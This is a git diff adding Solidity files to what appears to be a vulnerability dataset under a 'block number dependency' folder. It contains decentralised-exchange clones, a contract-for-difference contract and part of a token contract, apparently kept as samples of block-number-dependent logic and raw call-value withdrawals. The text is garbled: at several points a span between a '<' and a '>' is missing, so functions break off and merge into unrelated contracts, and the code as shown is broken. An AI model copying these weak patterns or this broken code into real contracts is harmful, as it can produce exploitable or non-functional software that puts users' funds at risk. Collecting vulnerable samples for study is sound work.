trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { + + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires && + safeAdd(orderFills[user][hash], amount) <= amountGet + )) throw; + tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); + orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); + Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); + } + + function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { + uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); + uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); + uint feeRebateXfer = 0; + if (accountLevelsAddr != 0x0) { + uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); + if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); + if (accountLevel==2) feeRebateXfer = feeTakeXfer; + } + tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); + tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); + + uint fee = safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer); + uint fee2 = safeMul(fee, 20) / 100; + tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(fee, fee2)); + tokens[tokenGet][feeAccount2] = safeAdd(tokens[tokenGet][feeAccount2], fee2); + + tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); + tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); + } + + function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { + if (!( + tokens[tokenGet][sender] >= amount && + availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount + )) return false; + return true; + } + + function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires + )) return 0; + uint available1 = safeSub(amountGet, orderFills[user][hash]); + uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; + if (available1=a && c>=b); + return c; + } +} + +contract Token { + + function totalSupply() constant public returns (uint256 supply) {} + + + + function balanceOf(address _owner) constant public returns (uint256 balance) {} + + + + + + function transfer(address _to, uint256 _value) public returns (bool success) {} + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} + + + + + + function approve(address _spender, uint256 _value) public returns (bool success) {} + + + + + function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + uint public decimals; + string public name; +} + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) public returns (bool success) { + + + + if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[msg.sender] -= _value; + balances[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } else { return false; } + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + emit Transfer(_from, _to, _value); + return true; + } else { return false; } + } + + function balanceOf(address _owner) constant public returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping(address => uint256) balances; + + mapping (address => mapping (address => uint256)) allowed; + + uint256 public totalSupply; +} + +contract ReserveToken is StandardToken, SafeMath { + address public minter; + function ReserveToken() public { + minter = msg.sender; + } + function create(address account, uint amount) public { + if (msg.sender != minter) revert(); + balances[account] = safeAdd(balances[account], amount); + totalSupply = safeAdd(totalSupply, amount); + } + function destroy(address account, uint amount) public { + if (msg.sender != minter) revert(); + if (balances[account] < amount) revert(); + balances[account] = safeSub(balances[account], amount); + totalSupply = safeSub(totalSupply, amount); + } +} + +contract AccountLevels { + + + + + function accountLevel(address user) constant public returns(uint) {} +} + +contract AccountLevelsTest is AccountLevels { + mapping (address => uint) public accountLevels; + + function setAccountLevel(address user, uint level) public { + accountLevels[user] = level; + } + + function accountLevel(address user) constant public returns(uint) { + return accountLevels[user]; + } +} + +contract PolarisDEX is SafeMath { + address public admin; + address public feeAccount; + address public accountLevelsAddr; + uint public feeMake; + uint public feeTake; + uint public feeRebate; + mapping (address => mapping (address => uint)) public tokens; + mapping (address => mapping (bytes32 => bool)) public orders; + mapping (address => mapping (bytes32 => uint)) public orderFills; + + event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); + event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); + event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); + event Deposit(address token, address user, uint amount, uint balance); + event Withdraw(address token, address user, uint amount, uint balance); + + function PolarisDEX(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public { + admin = admin_; + feeAccount = feeAccount_; + accountLevelsAddr = accountLevelsAddr_; + feeMake = feeMake_; + feeTake = feeTake_; + feeRebate = feeRebate_; + } + + function () public { + revert(); + } + + function changeAdmin(address admin_) public { + if (msg.sender != admin) revert(); + admin = admin_; + } + + function changeAccountLevelsAddr(address accountLevelsAddr_) public { + if (msg.sender != admin) revert(); + accountLevelsAddr = accountLevelsAddr_; + } + + function changeFeeAccount(address feeAccount_) public { + if (msg.sender != admin) revert(); + feeAccount = feeAccount_; + } + + function changeFeeMake(uint feeMake_) public { + if (msg.sender != admin) revert(); + if (feeMake_ > feeMake) revert(); + feeMake = feeMake_; + } + + function changeFeeTake(uint feeTake_) public { + if (msg.sender != admin) revert(); + if (feeTake_ > feeTake || feeTake_ < feeRebate) revert(); + feeTake = feeTake_; + } + + function changeFeeRebate(uint feeRebate_) public { + if (msg.sender != admin) revert(); + if (feeRebate_ < feeRebate || feeRebate_ > feeTake) revert(); + feeRebate = feeRebate_; + } + + function deposit() payable public { + tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); + emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); + } + + function withdraw(uint amount) public { + if (tokens[0][msg.sender] < amount) revert(); + tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); + if (!msg.sender.call.value(amount)()) revert(); + emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); + } + + function depositToken(address token, uint amount) public { + + if (token==0) revert(); + if (!Token(token).transferFrom(msg.sender, this, amount)) revert(); + tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); + emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function withdrawToken(address token, uint amount) public { + if (token==0) revert(); + if (tokens[token][msg.sender] < amount) revert(); + tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); + if (!Token(token).transfer(msg.sender, amount)) revert(); + emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function balanceOf(address token, address user) constant public returns (uint) { + return tokens[token][user]; + } + + function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + orders[msg.sender][hash] = true; + emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); + } + + function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public { + + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires && + safeAdd(orderFills[user][hash], amount) <= amountGet + )) revert(); + tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); + orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); + emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); + } + + function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { + uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); + uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); + uint feeRebateXfer = 0; + if (accountLevelsAddr != 0x0) { + uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); + if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); + if (accountLevel==2) feeRebateXfer = feeTakeXfer; + } + tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); + tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); + tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); + tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); + tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); + } + + function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant public returns(bool) { + if (!( + tokens[tokenGet][sender] >= amount && + availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount + )) return false; + return true; + } + + function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant public returns(uint) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires + )) return 0; + uint available1 = safeSub(amountGet, orderFills[user][hash]); + uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; + if (available1 mapping(uint128 => AssetPriceRecord)) public assetPriceRecords; + + event AssetPriceRecorded( + uint128 indexed assetId, + uint128 indexed blockNumber, + uint128 indexed price + ); + + constructor() public { + } + + function recordAssetPrice(uint128 assetId, uint128 blockNumber, uint128 price) public auth { + assetPriceRecords[assetId][blockNumber].price = price; + assetPriceRecords[assetId][blockNumber].isRecord = true; + emit AssetPriceRecorded(assetId, blockNumber, price); + } + + function getAssetPrice(uint128 assetId, uint128 blockNumber) public view returns (uint128 price) { + AssetPriceRecord storage priceRecord = assetPriceRecords[assetId][blockNumber]; + require(priceRecord.isRecord); + return priceRecord.price; + } + + function () public { + + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function mul(int256 a, int256 b) internal pure returns (int256) { + + + + if (a == 0) { + return 0; + } + int256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function div(int256 a, int256 b) internal pure returns (int256) { + + + int256 INT256_MIN = int256((uint256(1) << 255)); + assert(a != INT256_MIN || b != -1); + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function sub(int256 a, int256 b) internal pure returns (int256) { + int256 c = a - b; + assert((b >= 0 && c <= a) || (b < 0 && c > a)); + return c; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } + + + function add(int256 a, int256 b) internal pure returns (int256) { + int256 c = a + b; + assert((b >= 0 && c >= a) || (b < 0 && c < a)); + return c; + } +} + + + +contract ContractForDifference is DSAuth { + using SafeMath for int256; + + enum Position { Long, Short } + + + struct Party { + address addr; + uint128 withdrawBalance; + Position position; + bool isPaid; + } + + struct Cfd { + Party maker; + Party taker; + + uint128 assetId; + uint128 amount; + uint128 contractStartBlock; + uint128 contractEndBlock; + + + bool isTaken; + bool isSettled; + bool isRefunded; + } + + uint128 public leverage = 1; + AssetPriceOracle public priceOracle; + + mapping(uint128 => Cfd) public contracts; + uint128 public numberOfContracts; + + event LogMakeCfd ( + uint128 indexed cfdId, + address indexed makerAddress, + Position indexed makerPosition, + uint128 assetId, + uint128 amount, + uint128 contractEndBlock); + + event LogTakeCfd ( + uint128 indexed cfdId, + address indexed makerAddress, + Position makerPosition, + address indexed takerAddress, + Position takerPosition, + uint128 assetId, + uint128 amount, + uint128 contractStartBlock, + uint128 contractEndBlock); + + event LogCfdSettled ( + uint128 indexed cfdId, + address indexed makerAddress, + address indexed takerAddress, + uint128 amount, + uint128 startPrice, + uint128 endPrice, + uint128 makerSettlement, + uint128 takerSettlement); + + event LogCfdRefunded ( + uint128 indexed cfdId, + address indexed makerAddress, + uint128 amount); + + event LogCfdForceRefunded ( + uint128 indexed cfdId, + address indexed makerAddress, + uint128 makerAmount, + address indexed takerAddress, + uint128 takerAmount); + + event LogWithdrawal ( + uint128 indexed cfdId, + address indexed withdrawalAddress, + uint128 amount); + + + + + + + + constructor(address priceOracleAddress) public { + priceOracle = AssetPriceOracle(priceOracleAddress); + } + + function makeCfd( + address makerAddress, + uint128 assetId, + Position makerPosition, + uint128 contractEndBlock + ) + public + payable + returns (uint128) + { + require(contractEndBlock > block.number); + require(msg.value > 0); + require(makerAddress != address(0)); + + uint128 contractId = numberOfContracts; + + + Party memory maker = Party(makerAddress, 0, makerPosition, false); + Party memory taker = Party(address(0), 0, Position.Long, false); + Cfd memory newCfd = Cfd( + maker, + taker, + assetId, + uint128(msg.value), + 0, + contractEndBlock, + false, + false, + false + ); + + contracts[contractId] = newCfd; + + + + + + + + numberOfContracts++; + + emit LogMakeCfd( + contractId, + contracts[contractId].maker.addr, + contracts[contractId].maker.position, + contracts[contractId].assetId, + contracts[contractId].amount, + contracts[contractId].contractEndBlock + ); + + return contractId; + } + + function getCfd( + uint128 cfdId + ) + public + view + returns (address makerAddress, Position makerPosition, address takerAddress, Position takerPosition, uint128 assetId, uint128 amount, uint128 startTime, uint128 endTime, bool isTaken, bool isSettled, bool isRefunded) + { + Cfd storage cfd = contracts[cfdId]; + return ( + cfd.maker.addr, + cfd.maker.position, + cfd.taker.addr, + cfd.taker.position, + cfd.assetId, + cfd.amount, + cfd.contractStartBlock, + cfd.contractEndBlock, + cfd.isTaken, + cfd.isSettled, + cfd.isRefunded + ); + } + + function takeCfd( + uint128 cfdId, + address takerAddress + ) + public + payable + returns (bool success) { + Cfd storage cfd = contracts[cfdId]; + + require(cfd.isTaken != true); + require(cfd.isSettled != true); + require(cfd.isRefunded != true); + require(cfd.maker.addr != address(0)); + require(cfd.taker.addr == address(0)); + + require(msg.value == cfd.amount); + require(takerAddress != address(0)); + require(block.number <= cfd.contractEndBlock); + + cfd.taker.addr = takerAddress; + + cfd.taker.position = cfd.maker.position == Position.Long ? Position.Short : Position.Long; + cfd.contractStartBlock = uint128(block.number); + cfd.isTaken = true; + + emit LogTakeCfd( + cfdId, + cfd.maker.addr, + cfd.maker.position, + cfd.taker.addr, + cfd.taker.position, + cfd.assetId, + cfd.amount, + cfd.contractStartBlock, + cfd.contractEndBlock + ); + + return true; + } + + function settleAndWithdrawCfd( + uint128 cfdId + ) + public { + address makerAddr = contracts[cfdId].maker.addr; + address takerAddr = contracts[cfdId].taker.addr; + + settleCfd(cfdId); + withdraw(cfdId, makerAddr); + withdraw(cfdId, takerAddr); + } + + function settleCfd( + uint128 cfdId + ) + public + returns (bool success) { + Cfd storage cfd = contracts[cfdId]; + + require(cfd.contractEndBlock <= block.number); + require(!cfd.isSettled); + require(!cfd.isRefunded); + require(cfd.isTaken); + require(cfd.maker.addr != address(0)); + require(cfd.taker.addr != address(0)); + + + uint128 amount = cfd.amount; + uint128 startPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractStartBlock); + uint128 endPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractEndBlock); + + + uint128 takerSettlement = getSettlementAmount(amount, startPrice, endPrice, cfd.taker.position); + if (takerSettlement > 0) { + cfd.taker.withdrawBalance = takerSettlement; + } + + uint128 makerSettlement = (amount * 2) - takerSettlement; + cfd.maker.withdrawBalance = makerSettlement; + + + cfd.isSettled = true; + + emit LogCfdSettled ( + cfdId, + cfd.maker.addr, + cfd.taker.addr, + amount, + startPrice, + endPrice, + makerSettlement, + takerSettlement + ); + + return true; + } + + function withdraw( + uint128 cfdId, + address partyAddress + ) + public { + Cfd storage cfd = contracts[cfdId]; + Party storage party = partyAddress == cfd.maker.addr ? cfd.maker : cfd.taker; + require(party.withdrawBalance > 0); + require(!party.isPaid); + + uint128 amount = party.withdrawBalance; + party.withdrawBalance = 0; + party.isPaid = true; + + party.addr.transfer(amount); + + emit LogWithdrawal( + cfdId, + party.addr, + amount + ); + } + + function getSettlementAmount( + uint128 amountUInt, + uint128 entryPriceUInt, + uint128 exitPriceUInt, + Position position + ) + public + view + returns (uint128) { + require(position == Position.Long || position == Position.Short); + + + if (entryPriceUInt == exitPriceUInt) {return amountUInt;} + + + if (entryPriceUInt == 0 && exitPriceUInt > 0) { + return position == Position.Long ? amountUInt * 2 : 0; + } + + + int256 entryPrice = int256(entryPriceUInt); + int256 exitPrice = int256(exitPriceUInt); + int256 amount = int256(amountUInt); + + + int256 priceDiff = position == Position.Long ? exitPrice.sub(entryPrice) : entryPrice.sub(exitPrice); + int256 settlement = amount.add(priceDiff.mul(amount).mul(leverage).div(entryPrice)); + if (settlement < 0) { + return 0; + } else if (settlement > amount * 2) { + return amountUInt * 2; + } else { + return uint128(settlement); + } + } + + function refundCfd( + uint128 cfdId + ) + public + returns (bool success) { + Cfd storage cfd = contracts[cfdId]; + require(!cfd.isSettled); + require(!cfd.isTaken); + require(!cfd.isRefunded); + require(msg.sender == cfd.maker.addr); + + cfd.isRefunded = true; + cfd.maker.isPaid = true; + cfd.maker.addr.transfer(cfd.amount); + + emit LogCfdRefunded( + cfdId, + cfd.maker.addr, + cfd.amount + ); + + return true; + } + + function forceRefundCfd( + uint128 cfdId + ) + public + auth + { + Cfd storage cfd = contracts[cfdId]; + require(!cfd.isRefunded); + + cfd.isRefunded = true; + + + uint128 takerAmount = 0; + if (cfd.taker.addr != address(0)) { + takerAmount = cfd.amount; + cfd.taker.withdrawBalance = 0; + cfd.taker.addr.transfer(cfd.amount); + } + + + cfd.maker.withdrawBalance = 0; + cfd.maker.addr.transfer(cfd.amount); + + emit LogCfdForceRefunded( + cfdId, + cfd.maker.addr, + cfd.amount, + cfd.taker.addr, + takerAmount + ); + } + + function () public { + + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3574.sol b/smart_contract_dataset/block number dependency/3574.sol new file mode 100644 index 0000000000000000000000000000000000000000..7c06aaf0018586a4e4e345665a86d4a83f797326 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3574.sol @@ -0,0 +1,312 @@ +pragma solidity ^0.4.9; + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function assert(bool assertion) internal { + if (!assertion) throw; + } +} + +contract Token { + + function totalSupply() constant returns (uint256) {} + + + + function balanceOf(address _owner) constant returns (uint256) {} + + + + + + function transfer(address _to, uint256 _value) returns (bool success) {} + + + + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + + + + + + function approve(address _spender, uint256 _value) returns (bool success) {} + + + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + uint public decimals; + string public name; +} + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + + + + if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { return false; } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { return false; } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping(address => uint256) balances; + + mapping (address => mapping (address => uint256)) allowed; + + uint256 public totalSupply; +} + +contract ReserveToken is StandardToken, SafeMath { + address public minter; + function ReserveToken() { + minter = msg.sender; + } + function create(address account, uint amount) { + if (msg.sender != minter) throw; + balances[account] = safeAdd(balances[account], amount); + totalSupply = safeAdd(totalSupply, amount); + } + function destroy(address account, uint amount) { + if (msg.sender != minter) throw; + if (balances[account] < amount) throw; + balances[account] = safeSub(balances[account], amount); + totalSupply = safeSub(totalSupply, amount); + } +} + +contract AccountLevels { + + + + + function accountLevel(address user) constant returns(uint) {} +} + +contract AccountLevelsTest is AccountLevels { + mapping (address => uint) public accountLevels; + + function setAccountLevel(address user, uint level) { + accountLevels[user] = level; + } + + function accountLevel(address user) constant returns(uint) { + return accountLevels[user]; + } +} + +contract BitDex is SafeMath { + address public admin; + address public feeAccount; + address public accountLevelsAddr; + uint public feeMake; + uint public feeTake; + uint public feeRebate; + mapping (address => mapping (address => uint)) public tokens; + mapping (address => mapping (bytes32 => bool)) public orders; + mapping (address => mapping (bytes32 => uint)) public orderFills; + + event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); + event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); + event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); + event Deposit(address token, address user, uint amount, uint balance); + event Withdraw(address token, address user, uint amount, uint balance); + + function BitDex(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { + admin = admin_; + feeAccount = feeAccount_; + accountLevelsAddr = accountLevelsAddr_; + feeMake = feeMake_; + feeTake = feeTake_; + feeRebate = feeRebate_; + } + + function() { + throw; + } + + function changeAdmin(address admin_) { + if (msg.sender != admin) throw; + admin = admin_; + } + + function changeAccountLevelsAddr(address accountLevelsAddr_) { + if (msg.sender != admin) throw; + accountLevelsAddr = accountLevelsAddr_; + } + + function changeFeeAccount(address feeAccount_) { + if (msg.sender != admin) throw; + feeAccount = feeAccount_; + } + + function changeFeeMake(uint feeMake_) { + if (msg.sender != admin) throw; + if (feeMake_ > feeMake) throw; + feeMake = feeMake_; + } + + function changeFeeTake(uint feeTake_) { + if (msg.sender != admin) throw; + if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; + feeTake = feeTake_; + } + + function changeFeeRebate(uint feeRebate_) { + if (msg.sender != admin) throw; + if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; + feeRebate = feeRebate_; + } + + function deposit() payable { + tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); + Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); + } + + function withdraw(uint amount) { + if (tokens[0][msg.sender] < amount) throw; + tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); + if (!msg.sender.call.value(amount)()) throw; + Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); + } + + function depositToken(address token, uint amount) { + + if (token==0) throw; + if (!Token(token).transferFrom(msg.sender, this, amount)) throw; + tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); + Deposit(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function withdrawToken(address token, uint amount) { + if (token==0) throw; + if (tokens[token][msg.sender] < amount) throw; + tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); + if (!Token(token).transfer(msg.sender, amount)) throw; + Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function balanceOf(address token, address user) constant returns (uint) { + return tokens[token][user]; + } + + function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + orders[msg.sender][hash] = true; + Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); + } + + function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { + + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires && + safeAdd(orderFills[user][hash], amount) <= amountGet + )) throw; + tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); + orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); + Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); + } + + function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { + uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); + uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); + uint feeRebateXfer = 0; + if (accountLevelsAddr != 0x0) { + uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); + if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); + if (accountLevel==2) feeRebateXfer = feeTakeXfer; + } + tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); + tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); + tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); + tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); + tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); + } + + function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { + if (!( + tokens[tokenGet][sender] >= amount && + availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount + )) return false; + return true; + } + + function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires + )) return 0; + uint available1 = safeSub(amountGet, orderFills[user][hash]); + uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; + if (available1 Checkpoint[]) balances; + + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + + + + constructor() public { + + controller = msg.sender; + EthertoteAdminAddress = msg.sender; + tokenGenerationLock = false; + + + + + + name = "Ethertote"; + symbol = "TOTE"; + decimals = 0; + _totalSupply = 10000000 * 10**uint(decimals); + + version = "Ethertote Token contract - version 1.0"; + + + + + contractOwner = msg.sender; + thisContractAddress = address(this); + + transfersEnabled = true; + + creationBlock = block.number; + + + + + generateTokens(contractOwner, _totalSupply); + + + + controller = relinquishOwnershipAddress; + } + + + + + + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function transfer(address _to, uint256 _amount + ) public returns (bool success) { + + require(transfersEnabled); + + + require(_to != address(this) ); + + require(_to != 0x0); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + emit Approval(msg.sender, _spender, _amount); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + 